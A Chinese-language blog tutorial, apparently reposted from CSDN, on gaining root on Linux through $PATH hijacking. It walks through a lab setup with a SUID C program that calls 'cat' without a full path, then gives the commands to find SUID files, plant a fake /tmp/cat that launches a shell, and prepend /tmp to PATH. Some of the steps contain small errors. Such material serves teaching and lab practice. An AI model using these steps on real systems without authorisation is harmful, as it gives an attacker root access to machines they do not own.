环境变量提权

环境变量提权

通过控制$PATH环境变量的几种方法来获取远程主机的root权限

什么是$PATH?

$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。

使用echo命令就能轻易的查看和当前用户相关的环境变量。

echo $PATH

/usr/local/bin
/usr/bin
/bin
/usr/local/games
/usr/game

原理

我认为环境变量提权的原理就是在环境变量最前面篡改某个命令的绝对路径(例如将/tmp/cat加在$PATH前),然后当我们执行某个命令的时候会优先从环境变量的最前面去找这个命令的路径,这里假设某一个脚本shell(具有SUID权限)执行cat命令,那么寻找到/tmp/cat,其内容为/bin/bash,那么根据SUID提权,就会以root权限执行/bin/bash,就成功提权到root了

举例

现在我们的当前目录是/home/raj,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数。

pwd
mkdir script
cd /script
nano demo.c

image-20230816144532193

demo.c:

#include<unistd.h>
void main()
{
    
    
	setuid(0);
	setgid(0);
	system("cat /etc/passwd");
}

然后使用gcc编译demo.c文件,给经过编译的文件赋予SUID权限

ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

image-20230816144937121

发起攻击
首先,你需要先入侵靶机系统并且进入到提权阶段。假设你已经通过ssh成功登录到了靶机上,二话不说,我们直接使用find命令来搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/raj/script目录下的shell文件具有SUID权限,如图:

image-20230816145033612

于是我们cd到/home/raj/script/目录下,ls一下,看到了名为shell的可执行文件。

cd /tmp
echo “/bin/bash” > cat
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

image-20230816145223049

提权成功

除了echo命令,也可以使用copysymlink命令

cd /home/raj/script/
cp /bin/sh /tmp/cat
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
ln -s /bin/sh cat
export PATH=.:$PATH
./shell
id
whoami

环境变量提权的关键就是找到一个具有SUID权限的可执行文件,并且它会调用某些系统命令,我们就可以通过修改环境变量来调用自定义的命令中的内容

相关文章

https://xz.aliyun.com/t/2767

猜你喜欢

转载自blog.csdn.net/qq_61839115/article/details/132320122